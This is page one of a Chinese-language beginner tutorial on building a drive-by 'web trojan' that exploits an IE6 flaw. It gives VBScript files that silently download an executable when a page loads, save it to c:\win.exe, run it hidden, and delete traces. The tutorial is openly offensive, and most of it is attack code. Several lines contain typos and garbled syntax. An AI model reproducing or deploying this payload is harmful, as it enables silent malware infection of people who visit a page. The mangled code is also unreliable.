网页木马制作讲解(菜鸟版本)

2016-07-04 15:22:46 
我们经常听到这样的忠告:“不要随意下在不明的程序,不要随意打开邮件的附件...”这样的忠告确实是有用的,不过我们的系统有不少漏洞,许多木马已经不需要客户端和服务端了,他们利用这些系统漏洞按照被系统认为合法的代码执行木马的功能,有的木马会在你完全不知道的情况下潜入,现在我来讲解下通过IE6的漏洞实现访问网页后神不知鬼不觉的下在并执行指定程序的例子,也就是网页木马.

首先我们需要编写几个简单的文件

一、名字为abc.abc的文件


<html>
<script language="vbscript">
Function HttpDoGet(url)
   set oReq = CreateObject("Microsoft.XMLHTTP")
   oReq.open "GET",url,false
   oReq.send
   If oReq.status=200 then
          HttpDoGet=oReq.respomseBody
          Savefile HttpDoGet,"c:\win.exe"
   End If
   Set oReq=nothing
End Function
sub SaveFile(str.fName)
   Set objStream = CreateObject("ADODB.Stream")
   objStream.Type =1
   objStream.Open
   objStream.write str
   objStream.SaveToFile fName.2
   objStream.Close()
   set objStream = nothing
   exewin()
End sub
Sub exewin()
   set wshshell=createobject ("wscript.shell" )
   a=wshshell.run ("cmd.exe /c c:\win.exe",0)
   b=wshshell.run ("cmd.exe /c del c:\win.hta",0)
   window.close
End Sub
HttpDoGet "http://127.0.0.1/test.exe"
</script>
</html>

其中test.exe为木马程序,实现必须放在WEB发布的目录下,文件abc.abc也必须保存在发布的目录下。

二、名字为test.htm的文件

<html><body>
木马运行测试!(这句话可以改成你想说的)
<object date="http://127.0.0.1/win.test";;;></object>
</body></html>

三、名字为win.test的文件


<html>
<body>
<script language="vbscript">
Function HttpDoGet(url)
   set oReq = CreateObject("Microsoft.XMLHTTP")
   oReq.open "GET",url,false
   oReq.send
   If oReq.status=200 then
          HttpDoGet,"c:\win.hta"
          Set oReq=nothing
   End if
end function
sub SaveFile(str,fName)
   Dim fso, tf
   S e t    f s o    =    C r e a t e O b j e c t(Scripting.FileSystemObject")
   Set tf = fso.CreateTextfile(fName,True)
   tf.Write str
   tf.Close
   exewin()
End sub
Sub exewin()
   set wshshell=createobject ("wscript.shell" )
   a=wshshell.run ("cmd.exe /c c:\win.hat",0)
   window.close
End Sub
HttpDoGet("http://127.0.0.1/abc.abc")
</script>
</body>
</html>

本新闻共2页,当前在第1页  1  2  

网页木马制作讲解(菜鸟版本)》阅读地址:http://www.haoshilao.net/5645/

最新图文教程: